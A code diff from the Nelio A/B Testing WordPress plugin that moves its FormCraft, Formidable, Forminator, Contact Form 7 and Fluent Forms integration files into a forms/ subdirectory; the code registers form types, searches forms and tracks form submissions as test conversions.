- * @return null|TPost|WP_Post|WP_Error
- */
-function get_formcraft_form( $post, $post_id, $post_type ) {
-	if ( null !== $post ) {
-		return $post;
-	}
-
-	if ( 'nab_formcraft_form' !== $post_type ) {
-		return $post;
-	}
-
-	/** @var wpdb $wpdb */
-	global $wpdb;
-	$forms_table = $wpdb->prefix . 'formcraft_b_forms';
-	// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
-	$form = $wpdb->get_row(
-		$wpdb->prepare(
-			'SELECT * FROM %i WHERE id=%d',
-			$forms_table,
-			$post_id
-		),
-		ARRAY_A
-	);
-
-	if ( empty( $form ) ) {
-		return new WP_Error(
-			'not-found',
-			sprintf(
-				/* translators: %d: Form ID. */
-				_x( 'FormCraft form with ID “%d” not found.', 'text', 'nelio-ab-testing' ),
-				$post_id
-			)
-		);
-	}
-
-	return array(
-		'id'           => absint( $post_id ),
-		'author'       => 0,
-		'authorName'   => '',
-		'date'         => false,
-		'excerpt'      => '',
-		'imageId'      => 0,
-		'imageSrc'     => '',
-		'link'         => '',
-		'status'       => '',
-		'statusLabel'  => '',
-		'thumbnailSrc' => '',
-		'title'        => is_string( $form['name'] ) ? $form['name'] : "$post_id",
-		'type'         => 'nab_formcraft_form',
-		'typeLabel'    => _x( 'FormCraft Form', 'text', 'nelio-ab-testing' ),
-		'extra'        => array(),
-	);
-}
-
-/**
- * Returns the list of forms matching the search query.
- *
- * @param null|array{results:list<TPost>, pagination: array{more:bool, pages:int}} $result    The result data.
- * @param string                                                                   $post_type The post type.
- * @param string                                                                   $query     The query term.
- *
- * @return null|array{results:list<TPost>, pagination: array{more:bool, pages:int}}
- */
-function search_formcraft_forms( $result, $post_type, $query ) {
-	if ( null !== $result ) {
-		return $result;
-	}
-
-	if ( 'nab_formcraft_form' !== $post_type ) {
-		return $result;
-	}
-
-	/** @var wpdb $wpdb */
-	global $wpdb;
-	$forms_table = $wpdb->prefix . 'formcraft_b_forms';
-	/** @var list<object{id:int,name:string}> */
-
-	// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
-	$forms = $wpdb->get_results(
-		$wpdb->prepare(
-			'SELECT * FROM %i',
-			$forms_table
-		)
-	);
-
-	if ( ! empty( $query ) ) {
-		$forms = array_values(
-			array_filter(
-				$forms,
-				fn( $f ) => absint( $query ) === absint( $f->id ) || false !== strpos( strtolower( $f->name ), strtolower( $query ) ),
-			)
-		);
-	}
-
-	$forms = array_map(
-		function ( $form ) {
-			return array(
-				'id'           => absint( $form->id ),
-				'author'       => 0,
-				'authorName'   => '',
-				'date'         => false,
-				'excerpt'      => '',
-				'imageId'      => 0,
-				'imageSrc'     => '',
-				'link'         => '',
-				'status'       => '',
-				'statusLabel'  => '',
-				'thumbnailSrc' => '',
-				'title'        => $form->name,
-				'type'         => 'nab_formcraft_form',
-				'typeLabel'    => _x( 'FormCraft Form', 'text', 'nelio-ab-testing' ),
-				'extra'        => array(),
-			);
-		},
-		$forms
-	);
-
-	return array(
-		'results'    => $forms,
-		'pagination' => array(
-			'more'  => false,
-			'pages' => 1,
-		),
-	);
-}
-
-/**
- * Adds hooks for tracking a form submission.
- *
- * @param TForm_Submission_Attributes $action        Action.
- * @param int                         $experiment_id Experiment ID.
- * @param int                         $goal_index    Goal index.
- *
- * @return void
- */
-function add_hooks_for_tracking( $action, $experiment_id, $goal_index ) {
-	if ( 'nab_formcraft_form' !== $action['formType'] ) {
-		return;
-	}
-	add_action(
-		'formcraft_before_save',
-		function ( $form ) use ( $action, $experiment_id, $goal_index ) {
-			/** @var array{'Form ID':int} $form */
-
-			if ( absint( $form['Form ID'] ) !== absint( $action['formId'] ) ) {
-				return;
-			}
-			maybe_sync_event_submission( $experiment_id, $goal_index );
-		}
-	);
-}
-
-add_action(
-	'plugins_loaded',
-	function () {
-		if ( ! function_exists( 'is_plugin_active' ) ) {
-			nab_require_wp_file( '/wp-admin/includes/plugin.php' );
-		}
-
-		if ( ! is_plugin_active( 'formcraft-form-builder/formcraft-main.php' ) ) {
-			return;
-		}
-
-		add_filter( 'nab_get_post_types', __NAMESPACE__ . 'add_form_types' );
-		add_filter( 'nab_pre_get_post', __NAMESPACE__ . 'get_formcraft_form', 10, 3 );
-		add_filter( 'nab_pre_get_posts', __NAMESPACE__ . 'search_formcraft_forms', 10, 3 );
-		add_action( 'nab_nab/form-submission_add_hooks_for_tracking', __NAMESPACE__ . 'add_hooks_for_tracking', 10, 3 );
-	}
-);
--- a/nelio-ab-testing/includes/hooks/compat/formidable-forms/index.php
+++ b/nelio-ab-testing/includes/hooks/compat/formidable-forms/index.php
@@ -1,187 +0,0 @@
-<?php
-
-namespace Nelio_AB_TestingCompatFormidableForms;
-
-defined( 'ABSPATH' ) || exit;
-
-use function add_filter;
-use function add_action;
-use function is_plugin_active;
-
-use function Nelio_AB_TestingConversion_Action_LibraryForm_Submissionmaybe_sync_event_submission;
-
-/**
- * Adds a new form type.
- *
- * @param array<string,TPost_Type> $data Post types.
- *
- * @return array<string,TPost_Type>
- */
-function add_form_types( $data ) {
-	$data['nab_formidable_form'] = array(
-		'name'   => 'nab_formidable_form',
-		'label'  => _x( 'Formidable Form', 'text', 'nelio-ab-testing' ),
-		'labels' => array(
-			'singular_name' => _x( 'Formidable Form', 'text', 'nelio-ab-testing' ),
-		),
-		'kind'   => 'form',
-	);
-	return $data;
-}
-
-/**
- * Callback to return the appropriate form.
- *
- * @param null|TPost|WP_Post|WP_Error $post      The post to filter.
- * @param int|string                    $post_id   The id of the post.
- * @param string                        $post_type The post type.
- *
- * @return null|TPost|WP_Post|WP_Error
- */
-function get_formidable_form( $post, $post_id, $post_type ) {
-	if ( null !== $post ) {
-		return $post;
-	}
-
-	if ( 'nab_formidable_form' !== $post_type ) {
-		return $post;
-	}
-
-	$form = FrmForm::getOne( intval( $post_id ) );
-
-	if ( empty( $form ) ) {
-		return new WP_Error(
-			'not-found',
-			sprintf(
-				/* translators: %d: Form ID. */
-				_x( 'Formidable form with ID “%d” not found.', 'text', 'nelio-ab-testing' ),
-				$post_id
-			)
-		);
-	}
-
-	return array(
-		'id'           => absint( $post_id ),
-		'author'       => 0,
-		'authorName'   => '',
-		'date'         => false,
-		'excerpt'      => '',
-		'imageId'      => 0,
-		'imageSrc'     => '',
-		'link'         => '',
-		'status'       => '',
-		'statusLabel'  => '',
-		'thumbnailSrc' => '',
-		'title'        => $form->name,
-		'type'         => 'nab_formidable_form',
-		'typeLabel'    => _x( 'Formidable Form', 'text', 'nelio-ab-testing' ),
-		'extra'        => array(),
-	);
-}
-
-/**
- * Returns the list of forms matching the search query.
- *
- * @param null|array{results:list<TPost>, pagination: array{more:bool, pages:int}} $result    The result data.
- * @param string                                                                   $post_type The post type.
- * @param string                                                                   $query     The query term.
- *
- * @return null|array{results:list<TPost>, pagination: array{more:bool, pages:int}}
- */
-function search_formidable_forms( $result, $post_type, $query ) {
-	if ( null !== $result ) {
-		return $result;
-	}
-
-	if ( 'nab_formidable_form' !== $post_type ) {
-		return $result;
-	}
-
-	$forms = FrmForm::getAll();
-	if ( ! empty( $query ) ) {
-		$forms = array_values(
-			array_filter(
-				$forms,
-				fn ( $f ) => absint( $query ) === $f->id || false !== strpos( strtolower( $f->name ), strtolower( $query ) )
-			)
-		);
-	}
-
-	$forms = array_map(
-		function ( $form ) {
-			return array(
-				'id'           => absint( $form->id ),
-				'author'       => 0,
-				'authorName'   => '',
-				'date'         => false,
-				'excerpt'      => '',
-				'imageId'      => 0,
-				'imageSrc'     => '',
-				'link'         => '',
-				'status'       => '',
-				'statusLabel'  => '',
-				'thumbnailSrc' => '',
-				'title'        => $form->name,
-				'type'         => 'nab_formidable_form',
-				'typeLabel'    => _x( 'Formidable Form', 'text', 'nelio-ab-testing' ),
-				'extra'        => array(),
-			);
-		},
-		$forms
-	);
-
-	return array(
-		'results'    => $forms,
-		'pagination' => array(
-			'more'  => false,
-			'pages' => 1,
-		),
-	);
-}
-
-/**
- * Adds hooks for tracking a form submission.
- *
- * @param TForm_Submission_Attributes $action        Action.
- * @param int                         $experiment_id Experiment ID.
- * @param int                         $goal_index    Goal index.
- *
- * @return void
- */
-function add_hooks_for_tracking( $action, $experiment_id, $goal_index ) {
-	if ( 'nab_formidable_form' !== $action['formType'] ) {
-		return;
-	}
-	add_action(
-		'frm_after_create_entry',
-		function ( $entry_id, $form_id ) use ( $action, $experiment_id, $goal_index ) {
-			/** @var TIgnore $entry_id */
-			/** @var int     $form_id  */
-
-			if ( absint( $form_id ) !== absint( $action['formId'] ) ) {
-				return;
-			}
-			maybe_sync_event_submission( $experiment_id, $goal_index );
-		},
-		30,
-		2
-	);
-}
-
-add_action(
-	'plugins_loaded',
-	function () {
-		if ( ! function_exists( 'is_plugin_active' ) ) {
-			nab_require_wp_file( '/wp-admin/includes/plugin.php' );
-		}
-
-		if ( ! is_plugin_active( 'formidable/formidable.php' ) ) {
-			return;
-		}
-
-		add_filter( 'nab_get_post_types', __NAMESPACE__ . 'add_form_types' );
-		add_filter( 'nab_pre_get_post', __NAMESPACE__ . 'get_formidable_form', 10, 3 );
-		add_filter( 'nab_pre_get_posts', __NAMESPACE__ . 'search_formidable_forms', 10, 3 );
-		add_action( 'nab_nab/form-submission_add_hooks_for_tracking', __NAMESPACE__ . 'add_hooks_for_tracking', 10, 3 );
-	}
-);
--- a/nelio-ab-testing/includes/hooks/compat/forminator/index.php
+++ b/nelio-ab-testing/includes/hooks/compat/forminator/index.php
@@ -1,217 +0,0 @@
-<?php
-
-namespace Nelio_AB_TestingCompatForminator;
-
-defined( 'ABSPATH' ) || exit;
-
-use function add_filter;
-use function add_action;
-use function is_plugin_active;
-
-use function Nelio_AB_TestingConversion_Action_LibraryForm_Submissionmaybe_sync_event_submission;
-
-/**
- * Adds a new form type.
- *
- * @param array<string,TPost_Type> $data Post types.
- *
- * @return array<string,TPost_Type>
- */
-function add_form_types( $data ) {
-	$data['nab_forminator_form'] = array(
-		'name'   => 'nab_forminator_form',
-		'label'  => _x( 'Forminator Form', 'text', 'nelio-ab-testing' ),
-		'labels' => array(
-			'singular_name' => _x( 'Forminator Form', 'text', 'nelio-ab-testing' ),
-		),
-		'kind'   => 'form',
-	);
-	return $data;
-}
-
-/**
- * Callback to return the appropriate form.
- *
- * @param null|TPost|WP_Post|WP_Error $post      The post to filter.
- * @param int|string                    $post_id   The id of the post.
- * @param string                        $post_type The post type.
- *
- * @return null|TPost|WP_Post|WP_Error
- */
-function get_forminator_form( $post, $post_id, $post_type ) {
-	if ( null !== $post ) {
-		return $post;
-	}
-
-	if ( 'nab_forminator_form' !== $post_type ) {
-		return $post;
-	}
-
-	$form = Forminator_API::get_form( intval( $post_id ) );
-	if ( is_wp_error( $form ) ) {
-		return new WP_Error(
-			'not-found',
-			sprintf(
-				/* translators: %d: Form ID. */
-				_x( 'Forminator form with ID “%d” not found.', 'text', 'nelio-ab-testing' ),
-				$post_id
-			)
-		);
-	}
-
-	return array(
-		'id'           => absint( $post_id ),
-		'author'       => 0,
-		'authorName'   => '',
-		'date'         => false,
-		'excerpt'      => '',
-		'imageId'      => 0,
-		'imageSrc'     => '',
-		'link'         => '',
-		'status'       => '',
-		'statusLabel'  => '',
-		'thumbnailSrc' => '',
-		'title'        => $form->settings['formName'],
-		'type'         => 'nab_forminator_form',
-		'typeLabel'    => _x( 'Forminator Form', 'text', 'nelio-ab-testing' ),
-		'extra'        => array(),
-	);
-}
-
-/**
- * Returns the list of forms matching the search query.
- *
- * @param null|array{results:list<TPost>, pagination: array{more:bool, pages:int}} $result    The result data.
- * @param string                                                                   $post_type The post type.
- * @param string                                                                   $query     The query term.
- * @param int                                                                      $per_page  The number of posts to show per page.
- * @param int                                                                      $page      The number of the current page.
- *
- * @return null|array{results:list<TPost>, pagination: array{more:bool, pages:int}}
- */
-function search_forminator_forms( $result, $post_type, $query, $per_page, $page ) {
-	if ( null !== $result ) {
-		return $result;
-	}
-
-	if ( 'nab_forminator_form' !== $post_type ) {
-		return $result;
-	}
-
-	if ( empty( $query ) ) {
-		$forms = Forminator_API::get_forms( null, $page, $per_page );
-		$forms = ! is_wp_error( $forms ) ? $forms : array();
-	} elseif ( absint( $query ) ) {
-		$forms = Forminator_API::get_forms( array( absint( $query ) ) );
-		$forms = ! is_wp_error( $forms ) ? $forms : array();
-	} else {
-		$forms = Forminator_API::get_forms( null, 0, 100 );
-		$forms = ! is_wp_error( $forms ) ? $forms : array();
-		$forms = array_values(
-			array_filter(
-				$forms,
-				fn ( $f ) => absint( $query ) === absint( $f->id ) || false !== strpos( strtolower( $f->settings['formName'] ), strtolower( $query ) ),
-			)
-		);
-	}
-
-	$published_forms = array_values( array_filter( $forms, fn( $f ) => 'publish' === $f->status ) );
-	$published_forms = array_map(
-		function ( $form ) {
-			return array(
-				'id'           => absint( $form->id ),
-				'author'       => 0,
-				'authorName'   => '',
-				'date'         => false,
-				'excerpt'      => '',
-				'imageId'      => 0,
-				'imageSrc'     => '',
-				'link'         => '',
-				'status'       => '',
-				'statusLabel'  => '',
-				'thumbnailSrc' => '',
-				'title'        => $form->settings['formName'],
-				'type'         => 'nab_forminator_form',
-				'typeLabel'    => _x( 'Forminator Form', 'text', 'nelio-ab-testing' ),
-				'extra'        => array(),
-			);
-		},
-		$published_forms
-	);
-
-	return array(
-		'results'    => $published_forms,
-		'pagination' => array(
-			'more'  => empty( $query ) ? count( $forms ) === $per_page : false,
-			'pages' => ! empty( $query ) || empty( $page ) ? 1 : $page,
-		),
-	);
-}
-
-/**
- * Adds hooks for tracking a form submission.
- *
- * @param TForm_Submission_Attributes $action        Action.
- * @param int                         $experiment_id Experiment ID.
- * @param int                         $goal_index    Goal index.
- *
- * @return void
- */
-function add_hooks_for_tracking( $action, $experiment_id, $goal_index ) {
-	if ( 'nab_forminator_form' !== $action['formType'] ) {
-		return;
-	}
-
-	// For non-ajax submission forms.
-	add_action(
-		'forminator_form_after_handle_submit',
-		function ( $form_id, $response ) use ( $action, $experiment_id, $goal_index ) {
-			/** @var int                  $form_id  */
-			/** @var array{success?:bool} $response */
-
-			if ( empty( $response['success'] ) ) {
-				return;
-			}
-			if ( absint( $form_id ) !== absint( $action['formId'] ) ) {
-				return;
-			}
-			maybe_sync_event_submission( $experiment_id, $goal_index );
-		},
-		10,
-		2
-	);
-
-	// For ajax submission forms.
-	add_action(
-		'forminator_form_after_save_entry',
-		function ( $form_id, $response ) use ( $action, $experiment_id, $goal_index ) {
-			if ( empty( $response ) || ! is_array( $response ) || ! $response['success'] ) {
-				return;
-			}
-			if ( absint( $form_id ) !== absint( $action['formId'] ) ) {
-				return;
-			}
-			maybe_sync_event_submission( $experiment_id, $goal_index );
-		},
-		10,
-		2
-	);
-}
-
-add_action(
-	'plugins_loaded',
-	function () {
-		if ( ! function_exists( 'is_plugin_active' ) ) {
-			nab_require_wp_file( '/wp-admin/includes/plugin.php' );
-		}
-
-		if ( ! is_plugin_active( 'forminator/forminator.php' ) ) {
-			return;
-		}
-
-		add_filter( 'nab_get_post_types', __NAMESPACE__ . 'add_form_types' );
-		add_filter( 'nab_pre_get_post', __NAMESPACE__ . 'get_forminator_form', 10, 3 );
-		add_filter( 'nab_pre_get_posts', __NAMESPACE__ . 'search_forminator_forms', 10, 5 );
-		add_action( 'nab_nab/form-submission_add_hooks_for_tracking', __NAMESPACE__ . 'add_hooks_for_tracking', 10, 3 );
-	}
-);
--- a/nelio-ab-testing/includes/hooks/compat/forms/contact-form-7/index.php
+++ b/nelio-ab-testing/includes/hooks/compat/forms/contact-form-7/index.php
@@ -0,0 +1,78 @@
+<?php
+
+namespace Nelio_AB_TestingCompatFormsContactForm7;
+
+defined( 'ABSPATH' ) || exit;
+
+use function add_filter;
+use function add_action;
+use function is_plugin_active;
+
+use function Nelio_AB_TestingConversion_Action_LibraryForm_Submissionmaybe_sync_event_submission;
+
+/**
+ * Adds a new form type.
+ *
+ * @param array<string,TPost_Type> $data Post types.
+ *
+ * @return array<string,TPost_Type>
+ */
+function add_form_types( $data ) {
+	$data['wpcf7_contact_form'] = array(
+		'name'   => 'wpcf7_contact_form',
+		'label'  => _x( 'Contact Form 7', 'text', 'nelio-ab-testing' ),
+		'labels' => array(
+			'singular_name' => _x( 'Contact Form 7', 'text', 'nelio-ab-testing' ),
+		),
+		'kind'   => 'form',
+	);
+	return $data;
+}
+
+/**
+ * Adds hooks for tracking a form submission.
+ *
+ * @param TForm_Submission_Attributes $action        Action.
+ * @param int                         $experiment_id Experiment ID.
+ * @param int                         $goal_index    Goal index.
+ *
+ * @return void
+ */
+function add_hooks_for_tracking( $action, $experiment_id, $goal_index ) {
+	if ( 'wpcf7_contact_form' !== $action['formType'] ) {
+		return;
+	}
+	add_action(
+		'wpcf7_submit',
+		function ( $form, $result ) use ( $action, $experiment_id, $goal_index ) {
+			/** @var WPCF7_ContactForm   $form   */
+			/** @var array{status:string} $result */
+
+			if ( $action['formId'] !== $form->id() ) {
+				return;
+			}
+			if ( ! in_array( $result['status'], array( 'mail_sent', 'demo_mode' ), true ) ) {
+				return;
+			}
+			maybe_sync_event_submission( $experiment_id, $goal_index );
+		},
+		10,
+		2
+	);
+}
+
+add_action(
+	'plugins_loaded',
+	function () {
+		if ( ! function_exists( 'is_plugin_active' ) ) {
+			nab_require_wp_file( '/wp-admin/includes/plugin.php' );
+		}
+
+		if ( ! is_plugin_active( 'contact-form-7/wp-contact-form-7.php' ) ) {
+			return;
+		}
+
+		add_filter( 'nab_get_post_types', __NAMESPACE__ . 'add_form_types' );
+		add_action( 'nab_nab/form-submission_add_hooks_for_tracking', __NAMESPACE__ . 'add_hooks_for_tracking', 10, 3 );
+	}
+);
--- a/nelio-ab-testing/includes/hooks/compat/forms/fluent-forms/index.php
+++ b/nelio-ab-testing/includes/hooks/compat/forms/fluent-forms/index.php
@@ -0,0 +1,233 @@
+<?php
+
+namespace Nelio_AB_TestingCompatFormsFluentForms;
+
+defined( 'ABSPATH' ) || exit;
+
+use function add_filter;
+use function add_action;
+use function is_plugin_active;
+
+use function Nelio_AB_TestingConversion_Action_LibraryForm_Submissionmaybe_sync_event_submission;
+
+/**
+ * Adds a new form type.
+ *
+ * @param array<string,TPost_Type> $data Post types.
+ *
+ * @return array<string,TPost_Type>
+ */
+function add_form_types( $data ) {
+	$data['nab_fluent_form'] = array(
+		'name'   => 'nab_fluent_form',
+		'label'  => _x( 'Fluent Form', 'text', 'nelio-ab-testing' ),
+		'labels' => array(
+			'singular_name' => _x( 'Fluent Form', 'text', 'nelio-ab-testing' ),
+		),
+		'kind'   => 'form',
+	);
+	return $data;
+}
+
+/**
+ * Callback to return the appropriate form.
+ *
+ * @param null|TPost|WP_Post|WP_Error $post      The post to filter.
+ * @param int|string                    $post_id   The id of the post.
+ * @param string                        $post_type The post type.
+ *
+ * @return null|TPost|WP_Post|WP_Error
+ */
+function get_fluent_form( $post, $post_id, $post_type ) {
+	if ( null !== $post ) {
+		return $post;
+	}
+
+	if ( 'nab_fluent_form' !== $post_type ) {
+		return $post;
+	}
+
+	$form = FluentFormAppModelsForm::where( 'id', $post_id )->first();
+
+	if ( empty( $form ) ) {
+		return new WP_Error(
+			'not-found',
+			sprintf(
+				/* translators: %d: Form ID. */
+				_x( 'Fluent form with ID “%d” not found.', 'text', 'nelio-ab-testing' ),
+				$post_id
+			)
+		);
+	}
+
+	return array(
+		'id'           => absint( $form['id'] ),
+		'author'       => 0,
+		'authorName'   => '',
+		'date'         => false,
+		'excerpt'      => '',
+		'imageId'      => 0,
+		'imageSrc'     => '',
+		'link'         => '',
+		'status'       => '',
+		'statusLabel'  => '',
+		'thumbnailSrc' => '',
+		'title'        => $form['title'],
+		'type'         => 'nab_fluent_form',
+		'typeLabel'    => _x( 'Fluent Form', 'text', 'nelio-ab-testing' ),
+		'extra'        => array(),
+	);
+}
+
+/**
+ * Returns the list of forms matching the search query.
+ *
+ * @param null|array{results:list<TPost>, pagination: array{more:bool, pages:int}} $result    The result data.
+ * @param string                                                                   $post_type The post type.
+ * @param string                                                                   $query     The query term.
+ * @param int                                                                      $per_page  The number of posts to show per page.
+ * @param int                                                                      $page      The number of the current page.
+ *
+ * @return null|array{results:list<TPost>, pagination: array{more:bool, pages:int}}
+ */
+function search_fluent_forms( $result, $post_type, $query, $per_page, $page ) {
+	if ( null !== $result ) {
+		return $result;
+	}
+
+	if ( 'nab_fluent_form' !== $post_type ) {
+		return $result;
+	}
+
+	$forms = FluentFormAppModelsForm::select( array( 'id', 'title', 'status' ) )
+		->where( 'status', 'published' )
+		->orderBy( 'title', 'DESC' )
+		->get();
+	$forms = $forms->getDictionary();
+	$forms = array_map( fn( $f ) => $f->getAttributes(), $forms );
+	/** @var list<array{id:numeric, title:string, status:string}> */
+	$forms = array_values( $forms );
+
+	$query = strtolower( trim( $query ) );
+	if ( ! empty( $query ) ) {
+		$form_id = absint( $query );
+		$forms   = array_values(
+			array_filter(
+				$forms,
+				fn( $form ) => (
+					absint( $form['id'] ) === absint( $form_id ) ||
+					false !== strpos( strtolower( $form['title'] ), $query )
+				)
+			)
+		);
+	}
+
+	$forms = array_map(
+		function ( $form ) {
+			return array(
+				'id'           => absint( $form['id'] ),
+				'author'       => 0,
+				'authorName'   => '',
+				'date'         => false,
+				'excerpt'      => '',
+				'imageId'      => 0,
+				'imageSrc'     => '',
+				'link'         => '',
+				'status'       => '',
+				'statusLabel'  => '',
+				'thumbnailSrc' => '',
+				'title'        => $form['title'],
+				'type'         => 'nab_fluent_form',
+				'typeLabel'    => _x( 'Fluent Form', 'text', 'nelio-ab-testing' ),
+				'extra'        => array(),
+			);
+		},
+		$forms
+	);
+
+	return array(
+		'results'    => $forms,
+		'pagination' => array(
+			'more'  => count( $forms ) === $per_page,
+			'pages' => empty( $page ) ? 1 : $page,
+		),
+	);
+}
+
+/**
+ * Adds hooks for tracking a form submission.
+ *
+ * @param TForm_Submission_Attributes $action        Action.
+ * @param int                         $experiment_id Experiment ID.
+ * @param int                         $goal_index    Goal index.
+ *
+ * @return void
+ */
+function add_hooks_for_tracking( $action, $experiment_id, $goal_index ) {
+	if ( 'nab_fluent_form' !== $action['formType'] ) {
+		return;
+	}
+	add_action(
+		'fluentform/notify_on_form_submit',
+		function ( $entry_id, $form_data, $form ) use ( $action, $experiment_id, $goal_index ) {
+			/** @var TIgnore                     $entry_id  */
+			/** @var TIgnore                     $form_data */
+			/** @var FluentFormAppModelsForm $form      */
+
+			if ( absint( $form->getAttributes()['id'] ) !== absint( $action['formId'] ) ) {
+				return;
+			}
+			$args = array();
+			// phpcs:ignore WordPress.Security.NonceVerification.Recommended
+			if ( isset( $_REQUEST['data'] ) && is_string( $_REQUEST['data'] ) ) {
+				try {
+					$args = array_reduce(
+						// phpcs:ignore WordPress.Security.NonceVerification.Recommended
+						explode( '&', sanitize_text_field( wp_unslash( $_REQUEST['data'] ) ) ),
+						function ( $r, $i ) {
+							/** @var array<string,string> $r */
+							/** @var string               $i */
+
+							$arg          = explode( '=', $i );
+							$r[ $arg[0] ] = urldecode( $arg[1] );
+							return $r;
+						},
+						array()
+					);
+				} catch ( Exception $e ) { // phpcs:ignore Generic.CodeAnalysis.EmptyStatement.DetectedCatch
+				}
+			}
+			foreach ( $args as $name => $value ) {
+				if ( 0 !== strpos( $name, 'nab_' ) ) {
+					continue;
+				}
+				// phpcs:ignore WordPress.Security.NonceVerification.Recommended
+				if ( ! isset( $_REQUEST[ $name ] ) ) {
+					$_POST[ $name ]    = $value;
+					$_REQUEST[ $name ] = $value;
+				}
+			}
+			maybe_sync_event_submission( $experiment_id, $goal_index );
+		},
+		10,
+		3
+	);
+}
+
+add_action(
+	'plugins_loaded',
+	function () {
+		if ( ! function_exists( 'is_plugin_active' ) ) {
+			nab_require_wp_file( '/wp-admin/includes/plugin.php' );
+		}
+
+		if ( ! is_plugin_active( 'fluentform/fluentform.php' ) && ! is_plugin_active( 'fluentform-pro/fluentform-pro.php' ) ) {
+			return;
+		}
+
+		add_filter( 'nab_get_post_types', __NAMESPACE__ . 'add_form_types' );
+		add_filter( 'nab_pre_get_post', __NAMESPACE__ . 'get_fluent_form', 10, 3 );
+		add_filter( 'nab_pre_get_posts', __NAMESPACE__ . 'search_fluent_forms', 10, 5 );
+		add_action( 'nab_nab/form-submission_add_hooks_for_tracking', __NAMESPACE__ . 'add_hooks_for_tracking', 10, 3 );
+	}
+);
--- a/nelio-ab-testing/includes/hooks/compat/forms/formcraft/index.php
+++ b/nelio-ab-testing/includes/hooks/compat/forms/formcraft/index.php
@@ -0,0 +1,207 @@
+<?php
+
+namespace Nelio_AB_TestingCompatFormsFormcraft;
+
+defined( 'ABSPATH' ) || exit;
+
+use function add_filter;
+use function add_action;
+use function is_plugin_active;
+
+use function Nelio_AB_TestingConversion_Action_LibraryForm_Submissionmaybe_sync_event_submission;
+
+/**
+ * Adds a new form type.
+ *
+ * @param array<string,TPost_Type> $data Post types.
+ *
+ * @return array<string,TPost_Type>
+ */
+function add_form_types( $data ) {
+	$data['nab_formcraft_form'] = array(
+		'name'   => 'nab_formcraft_form',
+		'label'  => _x( 'FormCraft Form', 'text', 'nelio-ab-testing' ),
+		'labels' => array(
+			'singular_name' => _x( 'FormCraft Form', 'text', 'nelio-ab-testing' ),
+		),
+		'kind'   => 'form',
+	);
+	return $data;
+}
+
+/**
+ * Callback to return the appropriate form.
+ *
+ * @param null|TPost|WP_Post|WP_Error $post      The post to filter.
+ * @param int|string                    $post_id   The id of the post.
+ * @param string                        $post_type The post type.
+ *
+ * @return null|TPost|WP_Post|WP_Error
+ */
+function get_formcraft_form( $post, $post_id, $post_type ) {
+	if ( null !== $post ) {
+		return $post;
+	}
+
+	if ( 'nab_formcraft_form' !== $post_type ) {
+		return $post;
+	}
+
+	/** @var wpdb $wpdb */
+	global $wpdb;
+	$forms_table = $wpdb->prefix . 'formcraft_b_forms';
+	// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
+	$form = $wpdb->get_row(
+		$wpdb->prepare(
+			'SELECT * FROM %i WHERE id=%d',
+			$forms_table,
+			$post_id
+		),
+		ARRAY_A
+	);
+
+	if ( empty( $form ) ) {
+		return new WP_Error(
+			'not-found',
+			sprintf(
+				/* translators: %d: Form ID. */
+				_x( 'FormCraft form with ID “%d” not found.', 'text', 'nelio-ab-testing' ),
+				$post_id
+			)
+		);
+	}
+
+	return array(
+		'id'           => absint( $post_id ),
+		'author'       => 0,
+		'authorName'   => '',
+		'date'         => false,
+		'excerpt'      => '',
+		'imageId'      => 0,
+		'imageSrc'     => '',
+		'link'         => '',
+		'status'       => '',
+		'statusLabel'  => '',
+		'thumbnailSrc' => '',
+		'title'        => is_string( $form['name'] ) ? $form['name'] : "$post_id",
+		'type'         => 'nab_formcraft_form',
+		'typeLabel'    => _x( 'FormCraft Form', 'text', 'nelio-ab-testing' ),
+		'extra'        => array(),
+	);
+}
+
+/**
+ * Returns the list of forms matching the search query.
+ *
+ * @param null|array{results:list<TPost>, pagination: array{more:bool, pages:int}} $result    The result data.
+ * @param string                                                                   $post_type The post type.
+ * @param string                                                                   $query     The query term.
+ *
+ * @return null|array{results:list<TPost>, pagination: array{more:bool, pages:int}}
+ */
+function search_formcraft_forms( $result, $post_type, $query ) {
+	if ( null !== $result ) {
+		return $result;
+	}
+
+	if ( 'nab_formcraft_form' !== $post_type ) {
+		return $result;
+	}
+
+	/** @var wpdb $wpdb */
+	global $wpdb;
+	$forms_table = $wpdb->prefix . 'formcraft_b_forms';
+	/** @var list<object{id:int,name:string}> */
+
+	// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
+	$forms = $wpdb->get_results(
+		$wpdb->prepare(
+			'SELECT * FROM %i',
+			$forms_table
+		)
+	);
+
+	if ( ! empty( $query ) ) {
+		$forms = array_values(
+			array_filter(
+				$forms,
+				fn( $f ) => absint( $query ) === absint( $f->id ) || false !== strpos( strtolower( $f->name ), strtolower( $query ) ),
+			)
+		);
+	}
+
+	$forms = array_map(
+		function ( $form ) {
+			return array(
+				'id'           => absint( $form->id ),
+				'author'       => 0,
+				'authorName'   => '',
+				'date'         => false,
+				'excerpt'      => '',
+				'imageId'      => 0,
+				'imageSrc'     => '',
+				'link'         => '',
+				'status'       => '',
+				'statusLabel'  => '',
+				'thumbnailSrc' => '',
+				'title'        => $form->name,
+				'type'         => 'nab_formcraft_form',
+				'typeLabel'    => _x( 'FormCraft Form', 'text', 'nelio-ab-testing' ),
+				'extra'        => array(),
+			);
+		},
+		$forms
+	);
+
+	return array(
+		'results'    => $forms,
+		'pagination' => array(
+			'more'  => false,
+			'pages' => 1,
+		),
+	);
+}
+
+/**
+ * Adds hooks for tracking a form submission.
+ *
+ * @param TForm_Submission_Attributes $action        Action.
+ * @param int                         $experiment_id Experiment ID.
+ * @param int                         $goal_index    Goal index.
+ *
+ * @return void
+ */
+function add_hooks_for_tracking( $action, $experiment_id, $goal_index ) {
+	if ( 'nab_formcraft_form' !== $action['formType'] ) {
+		return;
+	}
+	add_action(
+		'formcraft_before_save',
+		function ( $form ) use ( $action, $experiment_id, $goal_index ) {
+			/** @var array{'Form ID':int} $form */
+
+			if ( absint( $form['Form ID'] ) !== absint( $action['formId'] ) ) {
+				return;
+			}
+			maybe_sync_event_submission( $experiment_id, $goal_index );
+		}
+	);
+}
+
+add_action(
+	'plugins_loaded',
+	function () {
+		if ( ! function_exists( 'is_plugin_active' ) ) {
+			nab_require_wp_file( '/wp-admin/includes/plugin.php' );
+		}
+
